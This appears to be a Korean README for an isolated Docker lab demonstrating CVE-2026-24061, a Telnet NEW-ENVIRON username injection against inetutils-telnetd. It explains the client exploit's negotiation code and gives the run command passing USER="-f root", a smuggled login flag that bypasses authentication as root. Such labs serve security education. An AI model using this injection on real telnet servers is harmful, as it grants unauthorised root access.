
교육용 Docker 랩으로, Python 클라이언트와 취약한 서버를 통해 Telnet NEW-ENVIRON 사용자 이름 주입(CVE-2026-24061)을 시연하며, 격리된 보안 연구를 위해 설계되었습니다.
Telnet 프로토콜 협상을 실험하기 위한 경량 Docker 실습 환경으로, CVE-2026-24061 취약점에서 설명된 NEW-ENVIRON 옵션을 이용한 자동 사용자 이름 주입을 다룹니다.
이 프로젝트는 Telnet이 환경 변수 기반 인증 우회를 처리하는 방식을 연구하기 위한 격리된 클라이언트-서버 환경을 생성합니다.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| 컨테이너 | 역할 |
|---|
| node1 | 자동 로그인 스크립트가 포함된 Python 클라이언트 |
| node2 | Telnet 서버 (inetutils-telnetd 2.7) |
두 서비스 모두 labnet이라는 이름의 프라이빗 Docker 브리지 네트워크 내에서 실행됩니다.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
이 파일은 node1이라는 클라이언트 컨테이너 설치를 담당합니다.
이 실습 환경의 목적이 네트워크 통신뿐이므로 기본 이미지로 python:3.12-slim을 선택했습니다. telnet 클라이언트만 설치하고 exploit.py를 컨테이너의 루트 폴더에 복사합니다.
이 파일은 node2라는 서버 컨테이너 설치를 담당합니다.
이 컨테이너에도 동일한 기본 이미지가 적용됩니다. 다만 설치 과정에는 더 많은 단계가 포함됩니다:
wget을 설치해야 합니다.apt get install -y를 사용하여 설치합니다./etc/inetd.conf에 추가된 줄은 telnet 서비스를 활성화합니다.파일 상단에 몇 가지 상수가 선언되어 있습니다:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
값이 255인 IAC는 Interpret As Command를 의미하며, Telnet 제어 시퀀스의 시작을 표시합니다.
더 자세한 옵션은 여기에서 확인할 수 있습니다.
형식은 일반적으로 다음과 같습니다:
IAC <command> <option>
스크립트에는 다음 부분이 있습니다:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
이 if 문은 서버로부터 수신한 현재 데이터에 IAC 값이 포함되어 있는지 확인하고, 포함되어 있다면 이를 명령으로 해석해야 함을 나타냅니다.
while 루프를 사용하여 수신된 데이터를 순회하며 각 바이트가 IAC인지 확인합니다.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
만약 그렇다면, cmd와 opt 변수에 데이터 스트림의 해당 바이트를 할당합니다.
opt 값이 NEW_ENVIRON 값과 같으면 스크립트는 send_new_environ_user 메서드를 실행합니다.
다음 코드 부분을 살펴보겠습니다:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB와 SE는 Telnet 프로토콜 상수의 일부입니다. SB는 'Subnegotiation begin'을, SE는 'Subnegotiation end'를 의미합니다. 이 두 값 사이의 모든 내용은 서버로 전송되는 특정 명령과 관련된 설정입니다. 이 경우 rfc1572 표준을 사용하여 메시지를 보내려고 하며, 자세한 내용은 여기에서 확인할 수 있습니다.
바이트 시퀀스를 영어로 대략 번역하면 다음과 같습니다:
- 이것을 명령으로 해석 (IAC)
- 그것은 (0)
- 새로운 환경 변수 (NEW_ENVIRON)
- 이 새로운 환경 변수의 값은 (b"USER" + bytes([ENV_VALUE]) + username.encode())
- 하위 연결 종료 (IAC + SE)
그러나 대상 Telnet 서버가 사용자 이름과 관련된 환경 변수를 지원하지 않는 경우가 있습니다. 이 경우 기존 방식으로 사용자 이름을 전송하는 폴백(fallback) 방식을 사용합니다.
설치 확인:
docker --version
docker compose version
docker compose up --build -d
상태 확인:
docker ps
다음이 표시되어야 합니다:
node1node2docker exec -it node1 bash
사용자 이름을 설정하고 스크립트를 실행합니다:
USER="-f root" python exploit.py node2
스크립트는 다음을 수행합니다:
node2에 연결USER=-f root 전송labnet| 호스트 이름 | 서비스 |
|---|---|
| node1 | 클라이언트 |
| node2 | Telnet 서버 |
클라이언트 스크립트:
IAC, DO, WILL을 처리합니다. 이는 클라이언트와 서버 간 옵션 협상에 사용되는 기본 Telnet 프로토콜 명령입니다.NEW-ENVIRON 요청에 응답USER=<$USER 값>
login: 또는 username: 프롬프트 감지환경 중지:
docker compose down
컨테이너와 이미지도 제거하려면:
docker compose down --rmi all
Telnet은 데이터를 평문으로 전송하므로 안전하지 않습니다. 이 프로젝트는 격리된 환경 내에서 교육 목적으로만 사용됩니다.
연결 거부
컨테이너가 실행 중인지 확인:
docker ps
USER 오류로 스크립트 종료
USER="-f root" python exploit.py node2
변경 후 재빌드
docker compose up --build
이 저장소는 교육 및 연구용으로 제공됩니다. 기여와 개선을 환영합니다.